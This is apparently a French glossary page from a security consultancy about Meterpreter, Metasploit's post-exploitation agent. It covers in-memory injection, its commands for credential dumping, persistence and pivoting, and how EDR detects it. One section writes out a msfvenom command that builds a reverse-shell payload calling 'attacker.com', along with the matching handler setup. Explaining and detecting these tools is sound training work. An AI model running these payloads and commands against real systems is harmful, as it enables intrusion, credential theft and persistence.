Meterpreter
hackingDéfinition
Meterpreter est l'agent de post-exploitation avancé du Metasploit Framework, injecté en mémoire dans les processus des systèmes compromis via des exploits Metasploit. Contrairement à un simple shell inversé (reverse shell), Meterpreter est un agent complet avec des capacités étendues de post-exploitation, une communication chiffrée TLS, et une architecture de plugins extensible — tout cela sans écrire de fichier sur le disque de la cible. Meterpreter fonctionne par injection réflective : le payload Meterpreter est injecté dans un processus existant (explorer.exe, notepad.exe) via le mécanisme de reflective DLL loading, sans créer de nouveau processus ni écrire de fichier. Toutes les communications avec le C2 Metasploit (msf) sont chiffrées en TLS. Le protocol de communication est propriétaire (basé sur TLV — Type Length Value) et bidirectionnel. Les commandes Meterpreter couvrent toutes les phases de post-exploitation : système (sysinfo, getuid, getpid, ps, kill), fichiers (upload, download, edit, search), réseau (ifconfig, route, netstat, portfwd pour le port forwarding, socks pour le pivot SOCKS5), elévation de privilèges (getsystem — tente plusieurs techniques d'escalade locale), credentials (hashdump pour les hashes SAM, load kiwi pour Mimikatz intégré), persistance (run persistence pour backdoors), pivoting (route add pour le routage via la session, run auxiliary/server/socks5), et extensions (load extapi, load espia, load incognito pour la manipulation de tokens). Les extensions Meterpreter peuvent être chargées à la demande : load kiwi (Mimikatz), load mimikatz, load extapi (fonctions Windows avancées), load espia (screenshots, webcam), et load incognito (manipulation de tokens d'impersonation pour escalade de privilèges via token stealing).
Fonctionnement
Génération d'un payload Meterpreter stageless : msfvenom -p windows/x64/meterpreter_reverse_https LHOST=attacker.com LPORT=443 -f exe -o payload.exe. Handler dans msf : use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST 0.0.0.0; set LPORT 443; run -j. Commandes utiles depuis une session : getsystem (escalade), hashdump (SAM hashes), load kiwi; lsa_dump_sam, portfwd add -l 3389 -p 3389 -r internal_host (tunnel RDP vers hôte interne), run post/multi/recon/local_exploit_suggester (suggère des exploits d'escalade locaux).
Exploitation offensive
Meterpreter est l'agent de post-exploitation le plus complet pour les environnements Windows dans les pentests. Sa flexibilité (migrations de processus, port forwarding, pivoting, extensions) en fait un outil de choix. Pour des opérations plus furtives, Cobalt Strike Beacon ou Sliver sont préférés, mais Meterpreter reste standard pour les OSCP et les pentests moins exigeants en matière d'évasion.
Détection et mitigation
Meterpreter a des signatures connues dans tous les EDR majeurs — les entreprises avec un EDR configuré correctement détecteront rapidement une session Meterpreter. Les patterns de trafic (beaconing régulier vers un C2, handshake TLS caractéristique), l'injection dans des processus légitimes, et les comportements post-exploitation sont tous des IoC couverts par les règles SIGMA/Yara. En red team avancé, Meterpreter est évité au profit d'outils avec des signatures moins connues.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés. 2.1.7
Un projet cybersécurité ?
Expert dispo · Réponse 24h